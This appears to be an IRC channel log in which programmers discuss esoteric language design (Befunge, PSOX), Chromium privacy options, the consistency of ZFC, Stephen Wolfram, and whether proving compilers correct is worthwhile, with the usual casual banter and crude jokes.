16:04:46 <cpressey> Something more elegant would be some kind of "memory switch" that remembers which direction you turned (i.e. which branch you took), and lets you reverse it / backtrack... that captures the idea of call/return but in a kind of spatial way.
16:05:03 <Deewiant> cpressey: MODE has switchmode which is essentially that.
16:05:20 <ais523> cpressey: sounds worryingly like TRDS
16:05:37 <ais523> which could also be very usable for subroutine call/return, if it wasn't for the essential complexity of the whole thing
16:05:38 <Deewiant> Although of course it doesn't work with multiple threads.
16:06:00 <Deewiant> Since it only remembers the latest branch ever, not the latest branch per IP.
16:06:57 <AnMaster> huh
16:08:45 <cpressey> Switchmode is close, but it would need to be more elegant, combining in the functionality of w, perhaps.
16:09:34 <Deewiant> What to do with a w that passed through?
16:09:38 <Deewiant> I.e. compared equal
16:09:48 <cpressey> Otoh, pretty dispatcher structures are one of the things that make Befunge fun, so why try to make it easy?
16:09:57 <Deewiant> For the other cases, you can single-usely turn it into []
16:10:35 <cpressey> Deewiant: You could turn the w into one of three instructions that reverses the decision and then turns itself back to w for the next use.
16:10:54 <Deewiant> But what does reversing == mean
16:11:01 <Deewiant> Since it distinguishes between < and > ordinarily
16:11:07 <Deewiant> You'd have to pick one arbitrarily?
16:11:28 <cpressey> Reversing the path chosen. == chooses the straight line, reversing the straight line still is the straight line.
16:12:01 <Deewiant> I suppose so
16:20:09 <cpressey> Speaking of "practicality" in esolangs I always liked the idea of an "esoteric OS adapter" (Easel/PESOIX/PSOX) much better than language-specific facilities like fingerprints. But it seems so much harder to get such a project off the ground.
16:21:20 -!- ais523 has quit (Remote host closed the connection).
16:21:46 <Deewiant> I think it's somewhat of an excuse to limit the capabilities of your esolang
16:22:52 <Deewiant> I mean, all you need now is putchar and getchar and you're done; language-specific ways of talking to the OS/doing other things like that can be more interesting, IMO.
16:23:30 <cpressey> They can be, true.
16:36:52 -!- oerjan has joined.
16:38:02 <oerjan> 07:43:52 --- quit: coppro (Quit: I am leaving. You are about to explode.)
16:38:03 <oerjan> 07:44:25 <ais523> coppro's quit message has been false every time so far
16:38:18 <oerjan> well in the long run, if the Big Rip hypothesis is true...
16:46:17 <cpressey> I mean, PSOX is in no way a replacement for Befunge fingerprints, because those can affect the language, not just the OS. But there are just so many esolangs out there that just can't be reasonably expected to grow their own OS features. (Not that PSOX would necessarily be able to help all of those, either, though)
16:48:01 <cpressey> I think the big barriers to adoption are 1) the spec isn't simple/abstract enough and 2) there is no proof of concept implementation
16:48:12 <cpressey> (Isn't that always the story, though?)
16:49:33 <cpressey> I would like to stand corrected about there not being an implementation
16:50:04 <cpressey> Sgeo does seem to have an implementation of it in Python?
16:50:32 <Sgeo> The file I/O stuff needs some work
16:50:46 <Sgeo> And the spec for the File I/O stuff is probably iffy
16:55:48 <Sgeo> Also, it's untested on Windows
16:56:07 <Sgeo> Although was a major spec change just due to projected issues with Windows
16:59:07 -!- kar8nga has joined.
17:00:40 <cpressey> Having it be a pipeline (and only a pipeline) is definitely the right design, I think.
17:01:18 <cpressey> I haven't unravelled the spec sufficiently to know what I think about the details yet...
17:32:31 -!- tombom has joined.
17:35:58 -!- hiato has joined.
17:38:52 -!- hiato has changed nick to sudobus.
17:39:44 -!- sudobus has changed nick to aqualoqua.
17:39:55 -!- aqualoqua has changed nick to sudobus.
17:40:34 -!- sudobus has left (?).
17:45:17 -!- hiato has joined.
17:45:23 -!- hiato has changed nick to sudobus.
18:01:34 -!- alise has joined.
18:02:17 <alise> Chromium is the devel name
18:02:22 <alise> and all the nasty stuff has options to disab;e
18:02:23 <alise> so there
18:03:43 <alise> Gregor: You can set chromium to use OS colours
18:03:50 <alise> in options
18:04:03 -!- lament has quit (Ping timeout: 240 seconds).
18:04:28 -!- lament has joined.
18:06:14 -!- alise_ has joined.
18:06:19 <alise_> 21:35:32 <Sgeo> You can always download SRWare Iron
18:06:23 <alise_> You could, but you'd be retarded:
18:06:40 <alise_> http://neugierig.org/software/chromium/notes/2009/12/iron.html
18:08:10 -!- alise has quit (Ping timeout: 252 seconds).
18:08:50 <pikhq> ... He was expecting *money* from that?
18:08:50 <pikhq> Dear God. The money in FLOSS is... Support.
18:09:09 <alise_> fax: you're a fax machine again?
18:09:23 <alise_> pikhq: he got it - see all the publicity
18:09:31 <alise_> I especially like how he removed an entirely innocuous class
18:10:24 <pikhq> alise_: So. Dumb.
18:10:41 <pikhq> If he wanted a real privacy-based browser, he'd do... Something smarter.
18:10:52 <pikhq> Default to incognito, integrate Tor, etc.
18:10:54 <alise_> Best thing to do is just to turn off all the settings in main Chrome.
18:11:06 <pikhq> Yuh.
18:11:14 <pikhq> They're settings for a reason, after all.
18:11:17 <alise_> Google Updater automatic installation.
18:11:22 <alise_> automatic updates = privacy violation
18:11:30 <alise_> Bug tracking system, sends information about crashes or errors.
18:11:36 <alise_> bug reporting = privacy violation
18:11:46 <alise_> DNS pre-fetching.
18:11:49 <alise_> dun dun DUNNNN
18:11:56 <alise_> A timestamp of when the browser was installed.
18:12:00 <alise_> Oh now /that/ is just insidious
18:12:30 <cpressey> I'm just surprised how candid he was about his real goal
18:12:36 <alise_> ;)
18:12:37 <pikhq> DNS pre-fetching was even *called* insidious?
18:12:40 <alise_> ;);););)
18:12:46 <alise_> pikhq: oh the lines that aren't factual are my mocking
18:12:52 <alise_> the guy clearly has no idea what he's doing
18:13:13 <cpressey> I submit that he knows exactly what he is doing
18:13:17 <alise_> i read the full log he doesn't understand why people aren't nice to him :-)
18:13:18 <cpressey> He's marketing
18:13:19 <alise_> cpressey: i mean code-wise
18:13:31 <cpressey> Ah. Well there, he barely needs to
18:13:40 <alise_> Also: what means rotful?
18:13:53 <cpressey> Only needs an understanding of what will scare sufficiently paranoid people
18:13:59 <alise_> We haven't had a super-shitty #esoteric meme in ages, and we need one.
18:14:17 <cpressey> rotful
18:14:18 <fax> hi
18:14:26 <alise_> fax: yo
18:14:42 <alise_> fax: wow, my brain has completely different heuristic clauses for MissPiggy and fax
18:14:59 <alise_> fax: so I actually read that "hi" completely differently than if you said it before changing your nick back
18:15:13 <alise_> apparently my brain infers huge gobs of meaning into "hi" purely based on who says it
18:15:19 <fax> :)
18:15:46 <alise_> permanent nick change or not?
18:16:31 <pikhq> alise_: ... Mine too, oddly enough.
18:17:07 <alise_> hmm... i guess it will take some time for the heuristics to migrate
18:17:19 <alise_> unless you're going to start acting like fax acted too, in which case you'll be two entirely different people
18:18:38 <alise_> cpressey: The issue with PSOX was basically that Sgeo didn't know what he was doing, so it was in fact rather heavily Brainfuck-oriented.
18:19:37 <alise_> (and Linux)
18:19:51 <alise_> cpressey: Obviously the solution is to have it communicate with /its own/ esolang that just does IO stuff.
18:20:02 <cpressey> PSOX seems mostly alright. There are definitely some things that need clarification, and some that I would want to change.
18:20:10 <alise_> *disable (typo from way back)
18:20:29 <alise_> cpressey: Well, it only works with languages that do unrestricted byte-by-byte two-way synchronised binary IO.
18:20:31 <alise_> Which is ludicrous.
18:20:36 <oerjan> | | |
18:20:36 <oerjan> +-+ * |
18:20:36 <oerjan> | | | *
18:21:22 <alise_> wat
18:21:26 <cpressey> alise_: But that's common. If your language communicates with smoke signals, anything like PSOX isn't going to be much help anyway.
18:21:43 <alise_> cpressey: Well, printable ASCII would be a good subset to use...
18:21:48 <cpressey> It looks line-oriented, actually.
18:21:56 <alise_> It's still heavily binary.
18:22:01 <alise_> Also, it's abandoned. I forget why.
18:22:18 <cpressey> Printable ASCII I could live with, but I don't know of any langs that are really crippled from binary I/O?
18:22:32 <cpressey> That's more of an OS issue.
18:22:36 <cpressey> Thank you, MS-DOS.
18:22:36 <alise_> If I were going to spec an IO esolang, I would have it use little particles of data being catapulted off to data sinks (forts), and "enemy" cannons (input sources) shooting out particles.
18:22:46 <alise_> So you place forts and cannons in the right place to aim, and coordinate their firings.
18:22:55 <alise_> cpressey: INTERCAL-72 can only do roman numerals
18:22:59 <Gregor> alise_: OS /colors/ are not the issue. OS /style/ is the issue.
18:23:18 <alise_> so perhaps INTERCAL-72 roman numeral format without over/underlines (so only small numbers) is the lowest common denominator
18:23:26 <alise_> Gregor: Well, you can get the title bar. And it uses GTK widgets inside the page.
18:23:53 <alise_> Gregor: If that isn't acceptable, don't use Chrome :P
18:23:56 <cpressey> alise_: It could look for the first two symbols output, consider them '0' and '1' in binary, and build the rest on that.
18:23:58 <Gregor> If it uses GTK widgets, then why even with "use GTK+ theme" (whatever that means) enabled does it look like friggin' Windows >_<
18:24:10 <alise_> Use GTK+ theme = use its colours
18:24:17 <alise_> And because you don't have a GTK+ theme set up, presumably.
18:24:20 <alise_> So it's using Raleigh.
18:24:24 <alise_> Which looks uber-ugly.
18:24:27 <Gregor> I use XFCE.
18:24:34 <Gregor> So I most certainly have a GTK+ theme set up.
18:24:39 <alise_> Then it's because you touch yourself at night.
18:24:54 <alise_> More seriously, it's because it's using your title bar colour for a big bit, I imagine.
18:24:54 <Gregor> I touch myself in broad daylight, thank you very much.
18:24:59 <alise_> You could try and edit the settings manually.
18:25:05 <cpressey> If the 3rd character output is different from the first two, it could assume you have printable characters available... if it's non-printable, it could assume you have 0-255.
18:25:46 <oerjan> cpressey: you might want it to use the first two _lines_ output
18:25:50 <alise_> cpressey: I think that for most esolangs, fancy programs are /boring/.
18:26:02 <alise_> An IRC client in SNUSP. Whoopdedo,
18:26:07 <alise_> *Whoopdedoo, that's mostly glue.
18:26:18 <alise_> For those where it can be interesting, it's because of an aspect of the language.
18:26:22 <alise_> So you want it part of the language.
18:29:44 <Deewiant> That's along the lines of what I was thinking when I said PSOX makes stuff less interesting
18:30:45 <alise_> yeah
18:30:55 * cpressey shrugs
18:30:57 <cpressey> OK
18:31:58 <cpressey> I'm certainly not looking to write a webserver in Hargfak.
18:32:35 <cpressey> I was more thinking of it as a tool to allow esolangs to be more easily passed off as "real".
18:32:46 <cpressey> i.e.
18:32:48 <cpressey> Marketing.
18:33:21 <cpressey> But if it makes things less interesting, n/m
18:34:46 <cpressey> But on that note, I don't see why most Befunge fingerprints are interesting.
18:37:08 <alise_> They aren't.
18:37:16 <alise_> In fact, Befunge is relatively uninteresting past its abstract core.
18:37:24 <alise_> Concurrency adds a large gob of fun.
18:37:36 <alise_> Time travel and multiverses add more large gobs.
18:37:37 <alise_> Beyond that, meh.
18:38:22 <cpressey> s/interesting/a popular topic of conversation/, then.
18:38:50 <alise_> fax: Bad news!
18:38:53 <alise_> "Let me repeat that. By allowing the judgmental equality to identify these two closed extensionally equal values, we collapse the judgmental equality on terms under a false hypothesis. Bye bye typechecker."
18:38:59 <alise_> http://www.e-pig.org/epilogue/?p=324
18:39:12 <alise_> cpressey: Because the hoi polloi suck at identifying the novel.
18:39:29 <alise_> In fact all the fun in -98 is pretty much the huge sack of implementation woes.
18:39:30 <fax> that post is quite confusing, I don't understand why this doesn't mean epigram is broken
18:39:39 <alise_> fax: it is
18:39:44 <alise_> they're having to replace W-types with something else
18:39:58 <alise_> otherwise they're fucked
18:40:27 <fax> what confuses me is, whatever they replace W types with: Can't you just implement W with /that/?
18:40:45 <alise_> obviously they have to replace it with something less powerful/abstract
18:40:54 <alise_> http://muaddibspace.blogspot.com/2010/03/algebra-system.html you didn't tell me you had a blog :|
18:41:42 <cpressey> alise_: In that case, Befunge-111 should probably not exist. A clear, unambiguous spec would only ruin the fun.
18:41:49 <fax> because it's embarassing :P
18:41:59 <alise_> fax: lawl
18:42:09 <alise_> cpressey: Well... yeah. Isn't that obvious?
18:42:19 <alise_> You need to introduce a bag of craziness to make it fun, which is why I've been pushing my idiocy.
18:42:27 <cpressey> No, not to me.
18:42:44 <alise_> fax: hmm... I agree that ZFC is probably inconsistent, yet I'm having some sort of knee-jerk AARGH NO reaction to its statement
18:42:53 <alise_> Help?
18:43:05 <fax> lol
18:43:49 <alise_> fax: I think I've read a post on your blog before and it was ridiculously overcomplicated for something
18:44:18 <fax> mm?
18:44:19 <uorygl> What's this about ZFC being inconsistent?
18:44:35 -!- MizardX has quit (Read error: Connection reset by peer).
18:44:40 <alise_> uorygl: it probably is
18:45:23 <cpressey> That would be News.
18:45:23 <alise_> http://r6.ca/blog/20091101T231201Z.html
18:45:28 <alise_> well, not probably
18:45:31 -!- MizardX has joined.
18:45:42 <alise_> but if you belong to general dependent-type constructivist cabal, then yeah probably :P
18:45:54 <alise_> fax: of course you forgot to add "for the same reasons that Coq is probably inconsistent".
18:45:59 <fax> alise: Today I just picked up "Constructive Functional Analysis"
18:46:33 <cpressey> "Can we really believe in the consistency of any system whose ordinal strength we do not have a notation for?"
18:46:35 <cpressey> ...
18:46:49 * fax can't interpret that '...'
18:46:49 <alise_> ......
18:46:55 <fax> nor that
18:47:06 <alise_> Probably "That's ridiculous, either p or not p"
18:47:15 <alise_> (Note: Above sentence is merely mocking the mocking of the classicalists.)
18:48:13 <cpressey> "..." was shorthand for "..."
18:48:14 <alise_> fax: Ah yes, I think it was your thing on halving numbers
18:48:27 <fax> I thought it might be that
18:48:35 <alise_> cpressey: Inner meaning?
18:48:57 <cpressey> Maybe I'll eventually figure out the words for the thought, but don't expect it soon.
18:50:07 <alise_> cpressey: Fundamental thought, generalised, is "I agree", "I disagree" or "<shock, dunno>"?
18:50:42 <cpressey> Honestly, my inclination was to respond with "Please, won't somebody think of the children??!?!"
18:50:48 <uorygl> I don't think whether a person belongs to a general dependent-type constructivist cabal or not has any bearing on whether ZFC is probably inconsistent or not.
18:50:58 <alise_> fax: you object to insulting wolfram? :|
18:51:05 <cpressey> But I am sensitive to overusing Simpsons quotes.
18:51:13 <fax> stop stalking me!!
18:51:17 <alise_> uorygl: Oh yes it does!
18:51:21 <alise_> fax: I CAN'T HELP IT
18:52:28 <alise_> hey gloss is exactly what i need for my othello program i think
18:52:33 <alise_> can it do mouseclicks, I wonder
18:53:15 <fax> I'm reading about finite calculus right now, though
18:53:41 <fax> the discrete derivative of f at x is defined as f(x+1)-f(x)
18:53:54 <cpressey> What would it mean for ZFC to be inconsistent? In practical terms, I mean.
18:54:34 <uorygl> It would mean that in ZFC, it's possible to prove anything at all, making all theorems proved in ZFC meaningless.
18:55:04 <alise_> Exactly.
18:55:31 <alise_> It's probably easy to modify the axioms to make it consistent if it isn't, but you'd lose tons and tons of results.
18:55:31 <cpressey> I was thinking more like, another refinement would be layered onto it to plug the hole, like ZFC itself was layered onto naive set theory.
18:55:42 <fax> alise you know I have a soft spot for people like wolfram
18:55:54 <alise_> fax: I don't actually.
18:56:00 <fax> oh
18:56:19 <cpressey> I do. It's a beanbag chair in a dungeon.
18:56:27 <alise_> fax: Personally, the way he reacted to ais523's solving of the Wolfram prize gives it a slightly personal edge to me.
18:57:01 <alise_> "Oh, how wonderful! A kid has proved what I always suspected. This has wide-reaching implications and provides an important bit of evidence for MY unifying theory of everything. When I first wrote about it ..."
18:58:40 <fax> did he mistreat ais in some way?
19:00:28 <alise_> He did him a great intellectual disservice by making only passing mention to his achievement in his post on it, and spending 99% of the large tome talking about how good he was for thinking of it.
19:01:34 <cpressey> Even before I knew that, he rankled me immensely.
19:03:40 <alise_> Of course. I especially enjoyed the Usenet post where he, as a teenager, belittled someone with far more experience than him because he had a pile of books with which to learn more than him.
19:04:17 <cpressey> Number of references to the body of computability research in "New Kind of Science": ... well, he mentions the name "Turing" a couple of times. In the phrase "Turing machine".
19:04:18 <fax> link?
19:04:28 <alise_> fax: I'll find it; sec.
19:05:00 <alise_> fax: For now, he's Feynman writing to Wolfram (warning: surrounded with wolframlove by the transcriber) http://elzr.com/posts/wolfram-feynman
19:05:03 <alise_> *here's
19:07:06 <cpressey> If ZFC was inconsistent, there would be chains of reasoning in it which did not terminate, correct?
19:07:16 <alise_> cpressey: You are thinking in computational terms.
19:07:23 <alise_> Inconsistency means that you can prove a falsehood.
19:07:32 <alise_> This is a contradiction.
19:07:33 <cpressey> alise_: As is my perogative, I thought.
19:07:37 <alise_> i.e.: p & ~p.
19:07:47 <alise_> From this, you can prove anything.
19:08:15 <alise_> You can prove that false is 42, that 43+1 = -99 and -99 is also a horse of size 98 that behaves as a monoidal functor when applied to itself.
19:08:16 <cpressey> If you can prove anything, you can prove the premises, therefore there are chains of reasoning which do not terminate.
19:08:22 <Deewiant> See http://xkcd.com/704/ for an example
19:08:43 <alise_> Deewiant: I liked that xkcd - incredibly rare for me as of late.
19:09:09 <alise_> xkcdsucks had a really stupid rebuttal saying that a piece of data isn't true or false, it's a piece of data, but obviously you'd just do "Your mom's phone number is 923487958" and prove that
19:09:10 <alise_> then use that
19:09:18 <fax> lol
19:10:08 <alise_> cpressey: In the dependent-types view, we hvae
19:10:11 <alise_> *have
19:10:15 <alise_> Types :: statements
19:10:17 <alise_> Values :: proofs
19:10:29 <alise_> If you prove a falsehood, your value doesn't terminate when evaluated.
19:10:38 <Gregor> alise_: The most recent xkcd was REALLY bad.
19:10:41 <alise_> So, yes, in a way you are right.
19:10:42 <cpressey> I'm not convinced of the converse, though (If there are chains of reasoning which don't terminate in ZFC, then it's inconsistent)
19:10:46 <Gregor> So bad I may remove it from my RSS reader.
19:10:47 <alise_> But "termination" doesn't make any sense in logic.
19:10:51 <cpressey> I don't read xkcd.
19:10:56 <pikhq> Deewiant: Yeah, that was an enjoyable xkcd.
19:10:59 <alise_> Infinite chains of reasoning, perhaps, but there is no computation, so there is no termination.
19:11:09 <alise_> cpressey: I used to.
19:11:14 <alise_> But it became shitty.
19:11:34 <cpressey> alise_: You have a computational view of "termination", I think.
19:11:34 <pikhq> I read xkcd still because *following* a hit-and-miss comic takes very little time.
19:11:45 <alise_> cpressey: Right you are.
19:11:50 <pikhq> Once I've started following a comic, it takes a severe facepalm moment for me to stop.
19:11:55 <pikhq> ... Or just severe apathy.
19:11:57 <fax> oklokok, hi
19:12:21 <Gregor> pikhq: Yeah, but this latest one was terrible, even for XKCD.
19:12:26 <Gregor> Like, ow, my brain hurts terrible.
19:13:53 <uorygl> cpressey: what do you mean by "chain of reasoning"?
19:14:04 <pikhq> Gregor: True. It did quite suck.
19:14:13 <uorygl> This looks like a non-terminating chain of reasoning to me: 1 = 1; therefore, 2 = 2; therefore, 3 = 3; therefore, 4 = 4; therefore, . . .
19:14:29 -!- alise has joined.
19:14:44 <Deewiant> Or just "1 = 1 therefore 1 = 1 therefore ..."
19:14:57 <alise> pikhq: did you /see/ the xkcd where the whole joke was "Here are some cartoon female genitals. Here are stick people that cannot possibly possess them. LOL, TGI FRIDAYS"
19:15:23 <pikhq> alise: ... I think I scrubbed it from my memory.
19:15:38 <cpressey> uorygl: AFAICT that's what I mean.
19:15:57 <fax> hey I've hated xkcd for years
19:15:59 <uorygl> cpressey: okay, so I just showed you a non-terminating chain of reasoning. So does that mean ZFC is consistent?
19:16:00 -!- alise_ has quit (Ping timeout: 252 seconds).
19:16:02 <fax> how come you guys are only just catching up now
19:16:02 <alise> cpressey: imo proofs aren't actually part of zfc's truth space
19:16:14 <alise> fax: it started sucking around maybe 2007-2008 imo.
19:16:21 <cpressey> You have axioms and rules for deriving theorems from those axioms.
19:16:25 <alise> cpressey: as in they're just a tool for us to reason about, and verify things
19:16:35 <alise> but they're totally orthogonal to any issue actually related to the set of truths we call zfc
19:16:36 <pikhq> fax: Because it's gone from overrated but amusing to overrated and sucking most of the time.
19:16:42 <fax> ah
19:17:19 * sudobus liked it better when the convo was about stuff he knew about, like the cocio-economic effects of a potential utube cencorship, or cats
19:17:41 <cpressey> uorygl: No, that's the converse that I said I wasn't convinced of, isn't it?
19:17:54 <fax> "utube" ;_;
19:18:09 <sudobus> fax: (:
19:18:13 <alise> sudobus: you do realise this is a progrmaming channel :)
19:18:16 <alise> *programming
19:18:22 <cpressey> <cpressey> I'm not convinced of the converse, though (If there are chains of reasoning which don't terminate in ZFC, then it's inconsistent)
19:18:33 <uorygl> cpressey: so now are you convinced that the existence of a non-terminating chain of reasoning doesn't imply that it's inconsistent?
19:18:49 <sudobus> alise: sudobus == hiato
19:18:54 <cpressey> uorygl: Other way 'round. If it's inconsistent, then etc
19:18:59 <pikhq> sudobus: Spelling. Improve it.
19:19:00 <alise> ah
19:19:13 <alise> pikhq: he's south african he can do what the hell he likes because he's interesting
19:19:17 <alise> sudobus: I know what a catbus is, but what's a sudobus?
19:19:20 <fax> IRC has just enough people who spell things correctly to make it really depressing when someone comes out with shit like "cong@l8"
19:19:36 <sudobus> pikhq: Srue tihng man
19:19:45 <cpressey> rotful
19:19:46 <alise> fax: here's wolfram being a complete idiot http://groups.google.com/group/comp.lang.lisp/msg/f3b93140c2f2e922?dmode=source&output=gplain&pli=1
19:20:06 <uorygl> I think you mean "çocio-economic" and "cençorship".
19:20:20 <sudobus> alise: it's what you get when you take a and rest it perpendicularly on a piece of paper that says "sudo" just right tos that the o's overlap
19:20:24 <Deewiant> Most people are complete idiots at least a couple of times in their lives
19:20:34 <pikhq> I think he meant イエユイノボメノ.
19:20:37 <sudobus> uorygl: sorry, my bad
19:20:39 <pikhq> (note -- not actual Japanese)
19:20:40 <fax> alise, ah this is KMP -- I have read this
19:20:45 <cpressey> Deewiant: Yes, it takes a very special sort of person to make a career out of it.
19:20:57 <alise> fax: kmp?
19:21:00 <alise> oh pitman
19:21:35 <Deewiant> Indeed
19:22:07 <alise> Deewiant: It shows that Wolfram has a huge attitude problem & ego that has lasted til today.
19:22:10 <fax> He then said "I'm going to read these and then I'll know as much as you."
19:22:14 <fax> hehe
19:22:26 <sudobus> alise: I just realised I left out at least a word from my previous reply. Note: rest a mirror ... just right so that the ..
19:23:35 <uorygl> I actually am going to read these, and then I actually will know as much as you!
19:24:25 <fax> I should carry about a stack of books just incase I want to insult someone
19:25:40 <cpressey> including "the compiler book with the dragon on it"
19:25:49 <pikhq> cpressey: AAAH.
19:26:09 <pikhq> Tangentially, I should read the Dragon Book sometime.
19:26:16 <fax> why? it's outdated
19:26:23 <fax> you would only read if you like history
19:26:30 <Deewiant> What's not outdated?
19:26:38 <fax> Appels book
19:26:39 <pikhq> ... Outdated books can be enjoyable.
19:27:02 <pikhq> Or at least enlightening.
19:27:26 <Deewiant> fax: The latest edition of the dragon book is newer than Appel's
19:27:39 <Deewiant> By about 10 years
19:27:40 <pikhq> Oh, and there have been 2 later editions.
19:27:43 <pikhq> Most recent was in 2006.
19:27:56 <pikhq> Of course, most people think of the *first*, but still.
19:28:08 <fax> ah that's interesting
19:28:20 <fax> they have republished it, I have not seen the new version
19:28:21 <Deewiant> The first is out of print :-P
19:28:28 <cpressey> I've heard the recent editions are not much more than reprints of the originals?
19:28:31 <pikhq> Deewiant: Yeah, yeah.
19:28:36 <alise> there aren't any compiler books from a functional perspective
19:28:37 <alise> hmph
19:28:53 <Deewiant> alise: "Modern Compiler Design" explains a bit of how Haskell is compiled
19:28:58 <cpressey> alise: "Modern Compier Design"... yeah
19:29:04 <alise> no, I mean
19:29:08 <alise> structuring compilers functionally
19:29:12 <fax> alise, Calculating Compilers
19:29:12 <cpressey> MCD's coverage is not very good though
19:29:24 <fax> (PhD thesis, but it's a good read anyway)
19:29:27 <alise> fax: well... foo to you
19:29:30 <Deewiant> cpressey: True, unfortunately
19:29:31 <pikhq> alise: The Implementation of Functional Programming Languages, by SPJ?
19:29:36 <fax> foo ??
19:29:56 <cpressey> Part of me wonders why you even need a book on it :/
19:29:57 <fax> alise, http://www.reddit.com/r/squiggol/
19:30:06 <alise> cpressey: Sexy purposes
19:31:12 <fax> alise???
19:31:14 <cpressey> Gah
19:31:20 <alise> http://www.uni-koblenz.de/~laemmel/expression/long.pdf cool, material on the expression problem!
19:31:23 <cpressey> Proving compilers correct is useless.
19:31:33 <fax> cpressey, hahahahah
19:31:33 <cpressey> Prove the generated code is correct.
19:31:40 <alise> cpressey: That's... what you do.
19:32:08 <pikhq> cpressey: ... That's not the only reason to write a compiler functionally...
19:32:14 <pikhq> Or write anything functionally...
19:32:15 <cpressey> A correct compiler will take an incorrect program and produce another incorrect program.
19:32:17 <alise> You prove that the canonical semantics of the input (syntax tree) are equivalent to the canonical semantics of the output.
19:32:19 <fax> "Proving compilers correct is useless." -- I am not able rightly to apprehend the kind of confusion of ideas that could provoke such a remark.
19:32:25 <pikhq> And... That's... What people do...
19:32:25 -!- sudobus has quit (Quit: leaving).
19:32:43 <cpressey> fax: Some of it is overstatement. But not all of it.
19:32:45 <pikhq> cpressey: Why yes. Yes it will.
19:32:54 <fax> Adapted from Babbage - On two occasions I have been asked, 'Pray, Mr. Babbage, if you put into the machine wrong figures, will the right answers come out?' I am not able rightly to apprehend the kind of confusion of ideas that could provoke such a question.
19:33:05 <pikhq> cpressey: And I would expect nothing more of a correct compiler.
19:33:20 <pikhq> Well. I also want correct code to produce correct output.
19:33:43 <alise> So, dependently-typed combinator calculus.
19:33:53 <fax> ...
19:33:57 <alise> Specifically: a language with only combinators that has dependent types and is total (but not powerless).
19:34:01 <alise> (No lambda abstractions.)
19:34:03 <fax> alise answer me!
19:34:04 <cpressey> A compiler is code. Proving a compiler correct is a subset of proving code is correct. Why people concentrate on that one subclass eludes me.
19:34:04 <alise> Commence.
19:34:08 <alise> fax: answer WHAT
19:34:12 <cpressey> s/sub*/subcase/.
19:34:22 <fax> alise from earlier
19:34:25 <pikhq> cpressey: Uh?
19:34:32 <alise> fax: what
19:35:12 <pikhq> cpressey: It's fairly simple -- when your compiler is *incorrect*, you cannot rely on the compiler to generate correct code.
19:35:21 <fax> ugh alise why are you so mean
19:35:30 <alise> fax: I'm not, I just don't know what the fuck you want me to do
19:35:50 <alise> Please stop assuming you're the center of the universe and that I follow what you say above all others, I like you but please just repeat what you want me to reply to
19:36:39 <alise> cpressey: Proving a compiler correct is proving a function (Lang -> Lang) correct. Call it f. What you're saying is "Prove that semantics (f x) = semantics x". But if we wanted to prove f correct, we have to express the intended semantics. "Given the input x and the output x', prove that semantics x' = semantics x".
19:36:46 <cpressey> pikhq: Right, so proving programs correct is important. I get that.
19:36:51 <alise> So proving the compiler correct /is/ proving the compiler's output correct.
19:37:03 <cpressey> What I don't get is why this *special case* is so friggin' popular, esp. in theses.
19:37:29 <alise> because it's hard.
19:37:30 <alise> and important
19:37:32 <fax> alise, you just seem to sort of phase out when I link you stuff
19:37:35 <alise> see e.g. Reflections on Trusting Trust
19:37:43 <pikhq> cpressey: Because it's more important than most other cases.
19:37:45 <alise> fax: no I just don't respond to links that I am unable to interpret the context of; also, I did respond
19:37:49 <alise> I linked to an article linked to in that subreddit
19:37:53 <pikhq> Since almost everything is compiled.
19:38:01 <fax> alise, no there's a compilers book in there
19:38:15 <alise> fax: i didn't see
19:38:21 <fax> ah
19:38:24 <cpressey> Yet ultimately, everything is interpreted.
19:38:43 <cpressey> We should probably be proving our text editors correct, too.
19:40:32 <alise> Do you have any idea how much verification goes into making an x86 CPU?
19:40:33 <fax> cpressey, http://jaguar.it.miami.edu/~chris/formal_methods_in_the_movies/TheWizardOfOz.html
19:41:17 -!- alise_ has joined.
19:41:24 <pikhq> alise: Issues still slip on through on occasion, though.
19:41:35 <pikhq> Though the only such case I can think of is the FDIV bug on the Pentiums...
19:41:48 <alise_> cpressey: We do not prove our editors correct because it is incredibly trivial to verify that they produce the correct results with a so-simple-there-cannot-be-any-bugs utility such as cat.
19:42:01 <alise_> pikhq: Which is basically the reason WHY they do formal verification nowadays.
19:42:09 <pikhq> Indeed.
19:42:26 <alise_> cpressey: For compilers, Reflections on Trusting Trust shows that it is pretty much /unknowable/ whether a compiler is correct.
19:42:45 <alise_> Even if the compiler is not malicious, such errors could happen. And verifying that a huge program was compiled correctly? Good luck.
19:42:53 <alise_> So we attack the problem at the source, and prove our compiler correct.
19:43:19 <AnMaster> how does one get a degree sign in LaTeX?
19:43:30 <AnMaster> in an equation that is
19:43:40 <cpressey> alise_: If you prove that the generated code is incorrect, you've caught a bug *regardless* of whether it was in the compiler or in the code being compiled.
19:43:54 * AnMaster looks at fizzie
19:44:23 <alise_> cpressey: You don't understand - given a black-box compiler proving that your code was compiled correctly is almost impossible.
19:44:23 <Deewiant> AnMaster: \circ or something
19:44:24 <alise_> Consider:
19:44:33 <Deewiant> AnMaster: See also http://detexify.kirelabs.org/classify.html
19:44:39 <Deewiant> AnMaster: ^\circ, I think
19:44:48 <alise_> When we prove the compiler correct, we do it by meticulously analysing every case it uses to compile constructs; we have direct access, we prove the atomic compilations correct, and their compositions.
19:44:51 <AnMaster> Deewiant, hm okay
19:44:53 <alise_> Voila, the compiler is Always Right.
19:44:55 <AnMaster> well that works
19:44:58 -!- alise has quit (Ping timeout: 252 seconds).
19:45:01 <fizzie> I think I saw ^\circ used somewhere, yes.
19:45:02 <alise_> cpressey: If we just have the input, and the output... where do you start?
19:45:03 <Deewiant> AnMaster: I.e. raise it to the power of one circle :-P
19:45:09 <alise_> You have to model how it was compiled first - basically, write your own compiler.
19:45:12 <AnMaster> Deewiant, hah
19:45:15 <fax> "we do it by meticulously analysing every case it uses to compile constructs" -- *sigh*
19:45:18 <alise_> Then you have to verify that each compilation is equal to how your model would compile it.
19:45:30 <alise_> cpressey: But then we have to verify our now-very-real model compiler is correct, or it's useless.
19:45:34 <cpressey> alise_: You have the semantics of the program, and you have the semantics of the target language. That's where you start.
19:45:50 <fax> have you every actually done a formal correctness proof for a non-trivial compiler?
19:45:55 <fax> ever*
19:46:12 <fizzie> http://anthony.liekens.net/index.php/LaTeX/DegreesNotation -- that suggests either ^\circ (possibly with your own \newcommand) or the existing \degree from \usepackage{gensymb}.
19:46:20 <alise_> fax: Would you prefer I went into the nitty-gritty when the abstarct principles are all that matter here?
19:46:26 <cpressey> fax: Me? No. But (as should be obvious) I have reasons for that.
19:46:36 <fax> cpressey, not you, alise :p
19:46:36 <alise_> fizzie: I was thinking ^\circ. Thought it'd be too silly to say.
19:46:52 <fizzie> It's less silly than just ^o at the very least. :p
